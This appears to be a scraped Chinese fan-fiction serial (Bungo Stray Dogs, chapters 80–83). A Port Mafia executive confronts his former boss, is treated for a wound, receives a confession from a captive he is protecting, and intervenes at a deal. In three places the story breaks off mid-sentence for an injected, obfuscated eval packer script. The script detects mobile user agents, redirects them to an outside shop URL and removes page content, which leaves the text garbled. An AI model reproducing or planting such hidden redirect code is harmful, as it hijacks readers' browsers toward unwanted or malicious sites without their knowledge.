说真的,太疼了,比他被重力压垮的时候还疼。 没准是压强的物理法则……? 他在想什么呢,果然是太疼了让他失去了控制大脑的能力了吧。 他好难过,但不是因为差点被开洞的身体。 “我们六年没见了,森先生。” 有什么堵在他的胸口,又有什么被雨水冲刷干净了。 “但是,一见面你就要杀掉我吗。” “欸……我应该这样做。” 他忍着痛回答道。 因为,您已经“死”了。 现在,作为港口黑手党首领的人,“只能”是中也先生。也就是说,您不能活着。 您活着的话,会很不妙的。 但他也想知道一件事,“森先生。” 你和太宰治,把港口黑手党当成了什么。 一个假死,一个真死。 然后把整个组织当成了遗物交给了中也先生。 为什么要这么做。 80.被正式确诊为渣男的干部 在雨夜敲开店门的青年好似从地狱爬出的鬼魅。 出鞘的肋差直击青年面门,金色夜叉的棍剑在空气中划出尖锐的破风声。 闪电照亮青年脚下漆黑的路,雷声紧随而来,轰响似乎撼动了平整的地面。 面色冷漠的青年站在店门口,半步都没有挪动,漂亮的银发被今夜的暴雨淋得毫无光泽,那双色彩犹如上好和服布料般充满吸引力的玫红色眼瞳深深凝视着这位多年未见的女性。 仿佛将天上的闪电引来地表,银白的电光在青年周身环绕,却并不以此反击。 寒光凛冽的刀刃逼近青年的脖颈,尾崎红叶适时停下,冷哼一声。 “……是你。” 那个曾经一出现就会把她的手机搞没电的小子。 “嗯。好久不见,尾崎女士。” 青年没有敌意,只是出场的方式吓人了点,尾崎红叶懒得和这个多少年没见的后辈计较。她早就不是港口黑手党的干部了。现在,这家伙才是。 他们之间没什么交情,她对这小子的印象也就停留在……是被森鸥外招进组织的。没在横滨呆多久,整个人被打包带到了欧洲。 “你的声音……嗓子受过伤?” “不妨事。已经做过手术了。” 方才杀意凛然的异能体在主人的授意下消失不见,店铺门厅一下子变得宽敞起来。 “找我做什么,‘现任干部先生’。” 店里没开灯,因为尾崎红叶打算闭店回家休息。街道低洼处,积水已经淹过脚面。这种天气,她不如回家挑会儿和服面料。 “尾崎女士……去过‘孤儿院’吗。” 尾崎红叶刚收起的刀又被其重新拔出,横在佐久间弥津颈间。 果然如此。 * “医生看出你是半个多月前受的伤。”还被急救过。对方手法精湛,一定是经验丰富的医生。 “他不该说的。” “他被你吓得下班去喝酒,算你们扯平了。在受伤之后,你没想着瞒着首领休养生息,反而借着并不十万火急的任务跑去外地?” 你想做什么,你不会真是自虐狂吧。 “……才不是。” 而且,什么是他把医生“吓得”下班去喝酒。你们不是经常喝吗?还经常赌乱七八糟的。这件事和他没有直接关系吧。 佐久间的犹豫在公关官耳朵里简直和遮掩真相是一个意思。 不论佐久间究竟是自虐狂还是更喜欢虐别人,公关官只差最后一个信息就能把真相串联起来。 “你去外地,有处理私事吗?” * 佐久间弥津不仅决定从那天开始讨厌医生,也决定讨厌一切异能力有独立异能体的人。 杀不掉,完全杀不掉。正常人类早会心脏麻痹死亡的程度,只能做到拖延异能体的行动。 ……真是受够了。 港口黑手党究竟是什么呢,对假死脱身的前首领而言。 他最后“不情不愿”地和森先生——还有他的异能体——握手言和。抓着中岛敦的衣领,他拖着手里这具还在喘气的身体,跟在被他决定开始讨厌的医生后面,从侧门进到孤儿院主楼。 他的脚步越来越慢,像走在半尺深的雪地里,深一脚浅一脚。 腿好重,快要抬不起来了。 金色长发的异能体是一副年轻女性的外表,在森先生的授意下把他扶到椅子边。 我不想打麻药。 他抗拒道。 快速检查过中岛敦状态的人说,“不要讲梦话,佐久间君,现在还没到睡觉的时候。” “……” 而一旁的女性异能体把他的手枪收起来,放到一边,紧接着去帮助森先生取来急救用品。 局部麻醉药……他真不想用这玩意。 他又像任人摆布的布娃娃一样被带到另一间“病房”。说是病房,其实只是一间摆了单人床的房间,比他刚才呆着的屋子更空旷,空气似乎更干净。 “勉强接受这样的环境吧,我多少年没处理像你这么重的伤了。” 虽然我早就不是你的首领了,但你真要这么随便发脾气的话,你会因为拖过最佳急救时机而失血过多的死亡。你知道吗,你就像充满氢气的气球,但凡有点火星就炸了。 ……是啊! 他就是在这样憋着一肚子火被缝合伤口啊! 六年前的事,听起来过去很久了,但每次一想到相关的事,让人招架不住的激烈情绪就会卷土重来。他一辈子都会忘不掉的。可偏偏同样的经历两年前又在他面前重复上演。假如他死后在地狱遇到太宰治,他也会对着这位前首领大发雷霆。 反正,到时候他们都已经死了。 “上次见面,已经是很久以前的事了。”替他处理伤口的人站在病床边一脸愉快地笑着,拧开瓶装消毒酒精,“你的胆子变大了呢。平时也会对中也君发脾气吗。” 怎么可能……他从来不乱发脾气。 医用消毒酒精刚一触及伤口边缘,他就疼得死去活来。 处理伤口对病人来讲是非常痛苦的过程。他疼出一身汗,像穿着衣服在淋浴间洗了澡。浑身黏糊糊的,很难受。 他一刻都不想留在那里,否则他总会想起以前的事。 不管有用没用,他不顾森先生和异能体的阻拦,从药品柜里抢夺出一袋止痛药,撕开口子,空口咽下两片。 药片通过喉咙的感觉格外真切,就算会划伤喉咙他也认了。 他态度恶劣地对拦在自己眼前的人说,“让开,别碍事。” 他不留在那里,没听到吗? “你明明……没想过对我们赶尽杀绝。” 夺过醒来的中岛敦想交给他的伞,他皱起眉头。 自顾自说什么呢……让开。 “让他走吧,敦君。”穿着医师袍,好整以暇地坐在外面房间的布椅上,森先生开玩笑说,“爱淋雨的人还真是拦不住。这也是佐久间君你迟来的叛逆期吗?” 发现自己被耍了的人都会生气吧。 “你是代表港口黑手党而来的,还是以个人的名义来到这里的。” “是我的私事。” 和苏枋有关的事,都是他的私事。 哪怕他借着在外的由头,暗地里去寻找早年间已经脱离了组织的尾崎红叶,那也是他的“私事”。 他猜得果然没错,当年的组织高层必然是发生了什么事,才会让森先生决定假死脱身,而当时已经担任干部的尾崎红叶也毅然决定以更安全的方式离开。 可当年远在欧洲部门的他对本部的情况并不了解。 直到他离开,森先生也没回答那个问题。 但他之后才意识到,在他做出“干掉假死的森鸥外”这一决定的瞬间,森先生作何解释都不重要了。 在他的潜意识里,森先生说什么他都不会再听了。 他无意大动干戈启动调查程序,寻找尾崎红叶的下落,是他的私事。 * 他不想对公关官讲这些。 “忘了这件事吧。想聊的话,聊点别的。”他对公关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867962|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官说。 就算你明白了真相,你也只能藏在肚子里。 但凡你向任何其他人透露,都不会带来好结果。 公关官突然冲他笑了一声,特意问了一句,“这算是来自‘干部’的命令吗?” “可以是。” 受伤的原委,他连和自己同住的优都没讲过,他也要求优不要擅自用异能力看穿他的心思。 本该在意外中死去的人竟然还活着,这决不能成为人尽皆知的消息,否则,一定会有人联想到另一位“自杀”的首领。组织也好,横滨也好,不应该因为这样的意外再度迎来混乱时期。 ……? 那张总是能吸引诸多钦羡目光的脸上露出一抹让他顿感不妙的笑。 ……这些“前辈”真是太阴险了。 有发自内心有把他当干部看吗? 捂着被突然袭击的右胳膊,他在疼痛中冷着脸站起来。但下一秒被问到“被你丢地牢的那个人,不管了吗”,他又丢脸地坐回椅子上。 让人忍不住叹气的事真是层出不穷。 他会管的。他又不会软禁苏枋一辈子。等时候差不多了,他会把苏枋送到安全的地方去。 “他会做出这一系列事,全都是你的问题。” ……我的问题? 他可以承担所有责任。但为什么会这么说。 “你和他住在一起过?” 只是为了保护他。那边的家里不只有一间屋子可以住。 “但不也属于‘同居’吗?” 可我现在和优也住一起,他住我家。 这能一样吗?“镜优是你的部下,他又不是。你还做了什么。” 他细细回忆一阵,但仍然觉得自己没做过极其过界的事。 一切的出发点都是为了保护别人。 “无论那个人寻找你的理由是什么,一直没有给出准确态度的你才是最有问题的那个。” 准确的态度…… 什么态度才能称之为“准确”呢。他没想到苏枋会在分别两年后的现在找到他。他以为,在他以那样的形式结束作为书店老板的生涯后,无论苏枋对他抱有何种感情都应该会被时间一刀斩断才对。 苏枋是个聪明人,一定知道他们之间不会有更多越界的行为。 那时候的他作为能够对自己行为负责的成年人,力所能及地多做点什么是应该的。那些难以汇聚成集中力量的“恶”,在接触过真正的恶意的他眼里,选择有目标地逐步击溃还是像风暴过境似的全局破坏,都是很简单的事。 他觉得苏枋没分清他们之间的感情究竟是朝夕相处的熟悉所带来的不舍,还是另一种他不愿意深究的情感。 “他只是误会了。” “……你知道你说的话像什么吗。” 他面前的人眼神有些不敢置信。 像什么。 “明明也知道自己做出过会让人误会的事,但之后却故意冷眼旁观,玩弄别人感情的……人渣。” 他不是说佐久间是没道德的渣男的意思——但说到底,作为黑手党组织干部的佐久间还有没有道德,的确是值得思考的有趣问题——只是一种形容。 “……什么?” 怎么可能,他哪里玩弄了? 正是如此一番争论,导致佐久间弥津十分钟后精神抖擞地出现在“囚犯”面前。 他望着苏枋,脑海中响起公关官刚才的话。 【想解决这件事,你应该尽快问出他找你做什么。】 “苏枋,你来横滨找我做什么。” 81.被表白的干部 “在回答这个问题之前,弥津先生,其实我的手已经被这个手铐拷了二十多天了。” 想聊正经事的话,可以让他看起来不那么像“囚徒”吗。 他笑眯眯地看着身前的青年。 弥津先生在他面前轻轻叹了一口气,按他的要求,找人打开了和他相伴度过好多白昼的手铐。 地牢真的好无聊,弥津先生,看不见你就更无聊了。 虽然这里和他想象中的地牢场景并不完全相符,多了几分萧瑟冷寂,少了几分血腥暴力。 “我有时候能听到敲键盘的声音。难道是有人在外面办公吗?” 可能有谁带着电脑从外面经过,突然想到了要记下来的东西吧。 佐久间弥津想唬弄过去。 组织建于地下的东西不少,除了地牢、地下室、一些部门成员的办公室还有地下训练场,有人从附近经过太正常了。 黑手党组织的成员不也是一种上班族吗?突发办公的情况不算特别,就算是他也有过同时下载游戏和任务文件的经历。 “说吧。” “我以为你会先问我第三个问题的答案。” “你不会知道的。”所以佐久间弥津决定不问。 “弥津先生,你其实不想给我留下的机会吧。”所谓的问题都是在拖时间。 佐久间弥津也承认,“嗯。” 他还有别的事要做。私事和公事,显然应该把可以之后再处理的私事先放一边。 在他有余力处理苏枋的下场之前,要找个不会在他离开后让人出事的安全地方。 地牢配总部休息室的组合,他有段时间也几乎天天这么干。 白天呆在审讯部门,晚上太累又懒得回酒店,干脆住休息室,能省两步路,早点休息,第二天继续和关在地牢的囚犯“面谈”。 大家都是恶贯满盈的坏蛋——囚犯是如此,他也不逞多让——折磨人的手段可以现学,也可以灵机一动。审讯室又不是忌讳灵机一动的厨房。 即使是犯罪组织的成员,一天里也有八成时间都在过正常生活。 正常休息,正常吃饭,正常满足生理需求;遇到极端降温天气和流感病毒也会感冒,糟糕一点会发烧;生病了有别人照顾应该心怀感激,没人照顾也没关系,喂自己吃药,或者去医疗部门睡一觉;有朋友约好一起下班喝酒、打牌或者看电影,也有人更喜欢回家享受独处的美妙。 他们的工作性质特殊,但工作外的时间里,成员也有自己的家庭和生活。 剩下的两成时间,才能凸显他们作为犯罪组织成员的本职。擅长玩弄权术就去插手政界,偏好经济领域就去钻研经营,暗杀方面有专长就去挑对象调查报告书。极端时刻才会启用的歼灭部队,成员里有一部分平时在组织里各有其他归属部门,有另外的职责在身,特殊情况才会被召集而来。 无须为他们的观念辩解,也无须抹黑他们的生活,因为他们必须除掉一切拦路的障碍,在普通的日常里也不会否认自己的作为。 更不要美化他们的为人,他们都是终将被投进地狱遭受烈火焚烧的人。 “我来横滨,想确认一件事。”苏枋隼飞对眼前人笑道,“一件很重要的事。” 在久别重逢的瞬间,他比以往任何时候都确定自己对眼前的人所抱有的到底是何种情感。 “我确定我是想见你的,弥津先生,‘喜欢你’的那种想见你。” 不是作为“朋友”,更不是邻居、主客、前后辈关系。 这是一种被时间提纯过的感情,可能会沉寂,被主动压抑,但绝不会凭空消失。 在见到弥津先生的瞬间,仿佛有无数不同颜色和图案的热气球在他的脑子里升空,他不是置身于阴天的横滨港口,而是置身于一片色彩斑斓的晴空之下。 弥津先生,你有谈过恋爱吗? 有过男朋友吗,女朋友呢?还是说你从来没想过这方面的事呢。 加入黑手党组织之后,竟然一直在努力工作吗? 你的“工作”,难道真的每一天都活在枪林弹雨中吗。 每问一句,他就迈出一步。 在最初的几天,还不习惯软禁生涯的他会被又重又硬的手铐磨着手腕,这么多天下来,刚开始发红发痒的皮肤居然适应了。 人类适应环境的能力还是太强了。 他伸出手,指尖已经碰到了弥津先生的外套。 “弥津先生,我可以抱你吗。” 陷入思维黑洞中的人突然惊醒,左手打掉伸向他的手,猛得向后退了两步。 “……不行。” 佐久间弥津立马意识到自己的反应会被误会。 正想说点什么缓解自己反应如此特别的尴尬,却看到苏枋脸上竟然露出一副果真如此的表情,仿佛这在他的意料之内。 “弥津先生,你受伤了吧。”苏枋隼飞十分肯定地说。 昨日,他对着光秃秃的墙冥思苦想一整个白天,才作出那天闻到的有点奇怪的复杂气味里也许暗藏药味的结论。 淋过雨之后,弥津先生身上混杂了更多天然的气味,药味闻起来不真切。那日为了警告他谨言慎行才和他靠近的弥津先生,离他很近,不想在寂静的地牢里被别人听到二人的对话。 这么近的距离,才让他嗅到一点疑似药味的气味,和弥津先生擦肩而过时,还有差不多半米多距离的港口黑手党首领应该闻不出来。 除了药味,还有别的。 会是什么呢?有没有可能用来掩盖药味?用生活中常见的东西来掩盖明显的药物……用味道浓一点的洗衣液?还是香水和香包这样不会令人起疑的东西。 都有可能吧。 “在我印象里,能伤到你的只有‘中岛敦’,毕竟那是我亲眼所见的场景。你是不是查到我和他见过?对你隐瞒这件事,我很抱歉。但他只是好心才会帮我。” 那么,第三个问题,我就猜你这些天里去见过他吧。 我也没办法给出别的答案了,弥津先生,你身边的新人,我可一个都不认识。 苏枋隼飞朝愣神的人得意地笑着,等待宣布答案正确与否。 然而他等来的是弥津先生转身离开。 “错了。” “诶?可是看你的反应,明明就是对了吧。” 弥津先生也不管他,只顾朝前走。得到自由的他当然毫不犹豫地跟了上去。 “耍赖可不行呢。” 唉……虽然弥津先生就算真的想耍赖,他也阻止不了就是了。 但是一想到弥津先生这几年好像过着挺有意思的生活,他的心情也不会差呢。 弥津先生是真心喜欢这里吗? 比弥津先生的回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这就是弥津先生前些天说,要安排人带他检查身体的地方?黑手党组织里竟然有设施相当完备,看起来也极其正规的医疗部门,真是令人惊讶。 “押”着他来到这里的男人把他交给了一位十分年轻的女性医者。 那位女医生好奇地瞧了他两眼。或许是早就被安排好的工作,女医生没有多问,立刻从男人手上“接”过检查他的任务。 男人也转身走了,离开得相当干脆。 他对这个人的来历一无所知——如果不是明白弥津先生身边恐怕比还是学生的那些日子都安全,他至少会问一句“你是谁”。 他的身体检查从提交年龄开始。 “不需要名字吗。” 长相年轻的女医生轻轻啧了一声,又叹了口气,从电脑后探出头来,“一个姓‘苏枋’的人,‘地牢奇人’,不是你吗?” ……这是什么,新外号? “佐久间干部在地牢关了个人,是你吗?” 这样的形容,的确是他。很多人都知道这回事? “没有,只是我知道你。”她属于佐久间干部的“部队”成员,算是有一点私人交情,所以才会把处理这个年轻人的事交给她处理。 然而这个年轻人的问题好像无穷无尽。 她为什么称呼那位先生是“干部”? 这是什么傻瓜问题,当然是因为佐久间先生是干部成员咯。 82.绝对不想成为渣男的干部(上) 虽然很不好意思,但苏枋隼飞对黑手党成员眼中的“干部”意味着什么毫无头绪。 职位?还是一种“概念”。 女医生冲他摇头,“你什么都不知道,还来找他做什么?” 什么都不知道,就不能见他吗。 感觉话题有往诡辩方面拐的小鸟游杏夏打断年轻人的话,“先检查吧。” 身体各项指标……嗯,没大问题。 “你的眼睛怎么回事,有旧疾吗?” 不经过细致检查,仅凭双眼也看不出被年轻人藏在眼罩下的右眼有什么毛病。 总不会是追求某种气质风格而戴的配饰吧。 她迅速伸手,和旁边的同事一起按住从检查床上爬起来想要跑掉的人。 房门的中上部分安着一块玻璃,苏枋隼飞瞬间便认出从门外经过的背影属于谁。可按在他肩膀上的两只手力道竟出奇的大,两个看似手无缚鸡之力的文弱医生把他按得动弹不得。 ……这就是黑手党组织的医生吗。 “别动哦。做完检查随便你去什么地方。” 嘶……也不对。组织不可能允许非组织成员在总部乱跑。这个年轻人充其量只是佐久间干部的……“家属”?还是“忘年交”?不过佐久间干部也很年轻来着。 那就算朋友好了。 她得问紫苑先生,检查结束之后怎么处理这个人。 难道是打包送回地牢?那么,给这个人做检查的意义在哪,意义在测算这个奇人还能在地牢再呆多久?按这种身体素质,在进食和休息的习惯不变的情况下——她问过了,这个人每日摄入的食物和休息时间被控制在安全范围内,所以这么久都没出问题——还能坚持很久。 年轻真好啊。 看刚才的冲劲,心理上也正常得很。 “那位先生的事,我们不会随便议论。真有想知道的事,你可以自己去问。”她的同事目不转睛地看着显示屏上的结果,也如此回答道。 小鸟游杏夏继续押着这个年轻人做完剩下的检查。 “弥津先生是很有名的人吗。” “有名”吗……该怎么说呢,作为组织的干部,那位先生是很有名来着,但和普通人所理解的“有名”完全不是一回事吧。 她把检查结果拍在年轻人面前的桌子上,“好了,你可以走了。” 结果有问题吗? “没大问题。” 意思是,有一点问题? “那不算问题。” * 他可没想在二十四岁的年纪,听到初识时还是高中学生的人对自己表白。 长大后的表白也不行。 比以前更直白的感情像从山崖边直落九天的瀑布,砸得他眼冒金星,找不着北。 但过往的相处货真价实,别再说什么“干掉就好了”这么简单的话了。如果他因为这种事把苏枋杀掉,才是把人渣和变态的罪名坐实了。 诚然,他做过太多坏事。 但他不是心理变态,不是疯子,更不是虐杀狂。与之相比,他是十分单纯的“犯罪分子”,以组织的利益为先的犯罪组织成员。没干过扭曲别人人格和自我扭曲人格的事,也没有混乱的人际关系和身体交易,更没有毁灭世界、灭绝人类的狂妄想法。 这样的他……不是人渣吧。 为了不成为人尽皆知的“渣男”,在这方面没经验的干部先生决定暂时寻求别人的帮助。 十分钟后,他面无表情地坐在“好同事”办公室的沙发上。 面前的两个人冲他笑得不怀好意。 不,还是让他先走吧。如果你们有其他事聊,他下次再…… 然而蛮力撕扯不开的钢丝绳从他的脚腕绕上他的腿,另一根则缠住他的脖子,让他动弹不得。 为什么在他提前发消息询问的时候不早说办公室有别人在?他有些气急败坏地想。 办公室的主人动作恶意满满地动了动缠在他脖颈上的钢丝绳,却仍然一脸无辜,“是你太急了,佐久间,这不是我们的问题。” “……别乱动。” 银白的电流倏地从大明星指尖闪过。公关官吃痛松手,但心中啧啧称奇。戏弄佐久间的事还是太有趣了,但凡反应乏味一点,也不会让人有如此想法。 恰恰因为公事外有点私人交情,钢琴家才敢如此在纯血武斗派面前以略显强硬的手段把人留住。 “说说吧。既然那个人是为你而来,你想怎么做?” 被他们困在沙发上的人摆出一副不配合的态度。似乎觉得自己被骗了,想回头瞪一眼站在沙发后面摁着自己肩膀的人,可脖子一动就被钢丝表面磨得生疼,只好停下自虐般的行为。 那好吧,由他们主动来问好了。虽然这就更像审讯了。 “他说了让你困扰的事吗。” “……有点。” 佐久间的表现何止是有点,简直是被吓得不知如何是好。 “那家伙对你的执念很深呢,”钢琴家又说,“据说花了不少时间找你。” 听者的眼神逐渐变得麻木。 笑容一刻都没离开过他脸上。“那么急着走,我在场会碍着你们聊天吗。还是说,你知道内情?” “别冤枉人了。我哪会知道呢?我只是稍微提醒了几句,谁知道某个想证明自己不是人渣的家伙,就那么冲出办公室了。是去做了点什么?还真是让人费尽心思都想不通。” 两个相识多年的人有默契地一唱一和,把佐久间弥津本就一团乱的心情搞得越发糟糕。 压在佐久间发火的边缘,钢琴家借发问的机会阻断了佐久间暴涨的不满。 “那个人莫非是来找你谈‘感情’的?” 佐久间瞬间熄火了。 既不生气,也不难过,眼神反而有点难言的可怜,像是走进迷宫死胡同上百次之后彻底对通向死路的命运释然了。 “你玩弄过他的感情吗。他看起来年龄很小。”如果佐久间真的干过这种事,那岂不是堪比组织卧底的大罪人。 “没有。”干部先生否认得超级快。 “你知道他的年龄吗?” “二十岁吧,或者十九岁。”按时间推算,是二十岁上下。 往前推你们认识的时候……那不是未成年吗? “——我没有玩弄过任何人的感情。绝对没有。” “那么,你如何解释一个认识你的时候还是未成年的家伙,在你不告而别后苦心竭力地找你,宁愿在地牢里呆二十多天,居然只为了和你谈‘感情’?他还要别的吗。” 如果能付出物质处理掉就最好了。虽然佐久间本人物欲低得要命,对自己的经济水平毫不关心,但不意味着佐久间这么多年在组织里白干。 只可惜,从佐久间的反应来看,那个人似乎不想要别的,只要佐久间的感情。 “杀掉吧。” “……这不行。” “怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876400|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,”公关官故意反问道,“让他从你的眼前彻底消失,这才是最根本的做法。” 不行就是不行。 “那就……送去其他城市吧。”留一笔钱给他生活,就当补偿你莫须有的罪过了。 “没用。他还会找过来。”尤其是苏枋已经知道他在哪里,做什么,他在苏枋眼里简直无处遁形。 “让他加入组织好了。”反正你有权力把他放在身边,就当逼他认清犯罪组织和他的差距。 然后,钢琴家听到了佐久间沉思之后说出的惊人之语。 “会毁了他的。” ……? 这句话把他们听愣了。 你到底是想留他还是不想留他? 公关官在佐久间弥津看不见的地方对着好友摊手,表示自己也无计可施。 原来这就是佐久间曾经让他们的首领气得牙痒的“心软”? 既舍不得杀掉,还舍不得送走,送远了知道会再找过来,离得近又不想让其碰犯罪组织的黑暗面。 他们听久了都觉得佐久间的态度真荒谬。 肉眼可见的保护欲都这么强,佐久间居然还以为自己在感情问题里是清白的?在另一位主角还是未成年的日子里,佐久间的态度至少有七成问题吧,真是……真是够自我感觉良好的。 难怪这个缺点会让中也记那么久。 “这也不行,那也不行,你把他送去欧洲部门关起来怎么样。”眼不见心不烦,送去那边关起来也算“安全保障”。 “更不行。”佐久间不赞同地说,“他会被水落杀掉的。” ……天哪。 这是“年少有为”并且上过通缉令的人能做出来的事吗?让人大开眼界。 但是,“常驻欧洲很少回国的干部为什么会知道你和那个人的事。” “……他知道我当年被中岛敦伤到的始末。认为一部分责任在苏枋身上。” “那你就在心里祈祷水落望音真的会干掉他,帮你省一份脑细胞吧。” 他们庆幸佐久间的这番态度没有放在工作里,不然被毁的就不是他们两个一天的好心情而是整个组织。 原来当初佐久间拒绝升任干部,在某种程度上居然是有理有据的。 钢琴家在心里惊奇地想。 佐久间的脸上又露出认命般的淡淡死意。 算了,可能在感情问题上是一张白纸的人都这么纠结吧,他们也不能对佐久间苛刻到这份上。能完美处理工作的人总会在别的方面有不足。 “给你找点事干吧。”他说。 出去呼吸新鲜空气听起来比呆在总部焦虑感情问题更正常点。 这两天去替我盯几场交易。 找回工作状态的人刚要点头同意,却一时忘记自己的脖子动弹不得。 “……把这个松开。” 向他投来的视线里有着浓浓的怨念。 “你什么时候变得这么急躁了。假如——这一次,我们又是敌人的话,这种情况你会如何脱身呢。” 虽然双手还是自由的,但脖颈和双脚都被钢丝绳捆缚着。 “确定要问吗。” “当然。” 年轻的干部先生沉着脸,泄愤似的说,“先干掉你们两个。” 究竟是想真干掉还是假干掉,看佐久间弥津的眼神就看出来了。 钢琴家忍不住笑了,“然后呢。” 然后把你袖子里的机关炸上天。 83.绝对不想成为渣男的干部(中) 佐久间弥津会认真对待自己的每一份任务,哪怕是好同事随手推给他的。 迄今为止,他已经摸清了好同事和大明星以捉弄他取乐的恶劣习惯。 可在他心中,工作是工作,生活是生活。在完成工作的基础上,他会尽量避开那两个本性糟糕的家伙给他挖的坑。 其实他们的日常工作谈不上何等乏味。只是像带绳子蹦极的人,任何时候都能平稳落地,毫无紧张感。 虽然,别的任务也少有紧张感就是了。 “你不是让我来做吗。” 为什么你也会在这里。 上了车的干部先生依旧摆着那副面无表情的冷脸模样,唯有好同事能看出他眼里的警觉。 “当然是为了看首领的表情。”首领发现我们都不在总部,表情一定会很困惑吧。 钢琴家的手轻搭在他肩头,这个动作配合那张脸上的微笑,让他格外警惕。 任性的干部明明另有其人吧。 最近谈得上重要的事没多少,连中也先生也能按时上下班。再过两个月,他就要开始至少一个季度的长距离出差。其实水落管理下的欧洲部门同样风平浪静,这半年都没有回国的想法。 太平静了,以至于他有时间为苏枋的事发愁。 这也算幸运吗? 他和钢琴家在组织里的权责不同。 和他开书店全靠自己的资金亏本支撑的经营水平迥异,这个他不了解过去的男人可以说是救中也先生于水火之中的人。除了那件令人咂舌的技艺,还有别的很拿手的东西。 而他则更像补充了中也先生成为首领后的空缺。 他是听过那样的说法的,某些机构给他们下的定义。 称如今为自港口黑手党成立以来,一个属于武斗派的时代。 这句话其实有几分道理,因为首领的作风会影响组织里的所有人。 擅长脑力作战的首领和总是亲临战场的首领,施加于成员心中的感觉是不同的。就好比有人觉得,一个人的性格会奠定他的下场,作为组织首领的人,同样是组织命运的最主要撰写者。 首领是什么样,他们就是什么样。 他和水落在很多年前就是中也先生的下属,会在行事风格上与中也先生有些相像,也是理所当然的。 心中胡思乱想着,意外看到其他成员们的神色,佐久间弥津顿时发觉他和好同事同时出现在这里的不妥之处。 两位干部成员同时出现在一件任务里的情况不是没有,但实在少见。他上次和水落一起行动,还是摧毁悬赏他的组织时候的事。 冰冷的金钱交易是最让人满意的,港口黑手党参与商业经营的目的,不也是为了赚钱。 钢琴家问他,他最后决定怎么办。 不怎么办。苏枋这几天免了去地牢的苦,但也只是不需要去地牢而已。软禁的地点回到了他在本部的休息室。 ……等他想出个好办法再处理吧。现在摆在他面前的选择,只能做到让一方满意。 钢琴家不可置否,脸上露出一种难言的笑意,“我觉得你迟早会把那个人带在身边。要打赌吗。” “……不赌。” “反应这么奇怪,你就承认吧。” 承认自己要对现状负责。 佐久间弥津急得低头咳了两声。把伞斜靠在座椅边,从衣兜里摸出药剂喷雾。 可恰在此时车辆刹车,伞骨碌碌沿着座位边滚了出去。 他手忙脚乱地一手拿着喷雾瓶,又伸另一只手去抓自己的伞。 他此刻顾不上计较钢琴家的笑里有几分嘲笑。 因为弯腰的动作让他腹部的伤口又一次遭受了重创。 * 成员们小声议论着。 虽然不知道原因,但那位不知为何来到交易现场的佐久间干部从车上下来之后脸色比出发前更差了。反倒是他们的上司心情好得不得了,一点也不像加班的人,更像让别人加班的无良上司。 你说,那位干部是来干什么的。 谁知道呢。正常交易而已,两位本不应该出现。 佐久间干部的脾气怎么样?没在那位干部先生手中做过事,他们不了解其为人。听说那位的悬赏金额甩别人一条街。去年就是了,实力没得挑。 真的? 真的呢。气质是冷淡了点,但长相和传闻中不太符合。 传闻是什么样。 呃……也就那些吧,说他寡言少语,心狠手辣之类的,不是很好的评价……但也不坏。 银发青年在众目睽睽之下走进交易现场,脸上挂着一贯的神色。但青年的到来实在不合常理,正在交易中的双方不约而同地停下动作。 怀有不同心思的人们神色各异。 有人松了一口气,也有人心中警铃大作。 港口黑手党的这位干部会来交易现场,这种情报可从未听说过。 走进大厅中央的青年穿着一身深灰色西装,领口间系着一条用银丝绣着某种花卉图案的暗红色丝绸领带。胸口别着的小巧浪花胸针在光线明亮的大厅中泛着一层浅浅的蓝光。 据说此人常年随身带伞,奇怪得很,男人戴着手套的双手此刻却空无一物。 但很快他们就知道传闻中男人常带的伞在何处了。 另有一人稍慢一步走进室内,手里拿着伞面外黑内白的长柄伞。浑身衣物仅限单调的黑白两色,脸上的笑容则十分愉悦,仿佛不久前刚遇到了令人极其开心的事。 有人脸色彻底变了。 佐久间弥津朝大厅上方望了一眼,对被他打扰了交易流程的人哑声道,“继续吧。” 他终于疼过劲了。 身体重新放松下来,他走近一旁的桌子,问站在旁边的人,桌上的箱子里装着什么。 “是本次应当交付的□□。” “那边的呢,是什么。” 那边…… “是被召回的上一批货物。” 原来如此。 他回头望了一眼,恰好和好同事四目相对。对方脸上的笑容在此刻含义终于有些明了。 难道是自己引以为傲的技术被质疑了吗? 他错开对方的视线,回过头来,眼神扫过对方的人。 他问,“对方是什么人。” “其实是……以前交易过许多次都没出问题的合作对象。”面对他,稍显局促的陌生青年同样小声回答,“但上次交易的时候,以对货物不满意为由,退回了一半的货物数量。” “上次,是什么时候。” “就在三天前。今天是全部更换的货物。” “你叫什么名字。” 呃,我?“筱原才悠。” “筱原。带枪了吗。” 带了。 “枪法怎么样。” “还行。”近距离射击倒是没问题。 是要他的枪吗?筱原才悠刚要把满弹匣的手枪交到干部先生手里,神色平淡的干部先生却命令道,“上膛。” 来不及思考,他的身体先照做了。 佐久间干部很满意他的反应,又道,“对准吊灯。” 好的。 虽然心中不解,但筱原才悠依然照做。 “开枪。” 第一枪打中了大厅里的吊灯。 做工精湛的多层吊灯在佐久间弥津要求补一枪的命令后轰然砸下,摔在地上的动静响彻了第一道枪声一出就变得一片死寂的大厅,比盛夏的旱雷更令人心惊。 